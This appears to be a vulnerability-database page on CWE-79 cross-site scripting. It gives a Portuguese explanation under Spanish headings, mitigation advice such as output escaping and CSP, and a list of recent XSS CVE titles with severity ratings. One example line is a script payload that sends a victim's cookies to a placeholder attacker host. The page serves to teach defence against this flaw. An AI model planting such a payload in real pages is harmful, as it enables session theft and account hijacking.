Fallos del tipo CWE-79

30.048 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-13137MEDIUMwangl1989 mysiteforme SiteController RestResponse cross site scriptingEPSS 0.3%CVE-2024-11777MEDIUMSell Media <= 2.5.8.5 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-10340MEDIUMShortcodes Blocks Creator Ultimate <= 2.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-5892MEDIUMDivi Torque Lite – Divi Theme and Extra Theme <= 3.6.6 - Authenticated (Author+) Stored Cross-Site Scripting via SVG UploadEPSS 0.3%CVE-2024-11877MEDIUMCricket Live Score <= 2.0.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-65200CRITICALAn issue was discovered in localstack 4.9.2 allowing attackers to execute arbitrary code via crafted content hosted on a web-accessable URL EPSS 0.3%CVE-2024-12519MEDIUMTCBD Auto Refresher <= 2.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-23579MEDIUMWordPress DZS Ajaxer Lite plugin <= 1.04 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-11775MEDIUMParticle Background <= 1.0.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-24638MEDIUMWordPress Create with Code plugin <= 1.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-12445MEDIUMRightMessage WP <= 0.9.7 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2023-42308MEDIUMCross Site Scripting (XSS) vulnerability in Manage Fastrack Subjects in Code-Projects Exam Form Submission 1.0 allows attackers to run arbitEPSS 0.3%CVE-2023-41343MEDIUMRagic No-Code Database Builder - Stored XSSEPSS 0.3%CVE-2023-50874MEDIUMWordPress Ajax Load More Plugin <= 6.1.0.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-56252MEDIUMWordPress Enter Addons plugin <= 2.1.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22752HIGHWordPress GSheetConnector for Forminator Forms Plugin <= 1.0.12 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-7232HIGHFormCraft <= 3.9.14 - Unauthenticated Stored Cross-Site Scripting via Matrix Field Sub-ParametersEPSS 0.3%CVE-2026-3995MEDIUMOPEN-BRAIN <= 0.5.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'API Key' SettingEPSS 0.3%CVE-2025-57117MEDIUMA Clickjacking vulnerability exists in Rems' Employee Management System 1.0. This flaw allows remote attackers to execute arbitrary JavaScriEPSS 0.3%CVE-2025-52184MEDIUMCross Site Scripting vulnerability in Helpy.io v.2.8.0 allows a remote attacker to escalate privileges via the New Topic Ticket funtion.EPSS 0.3%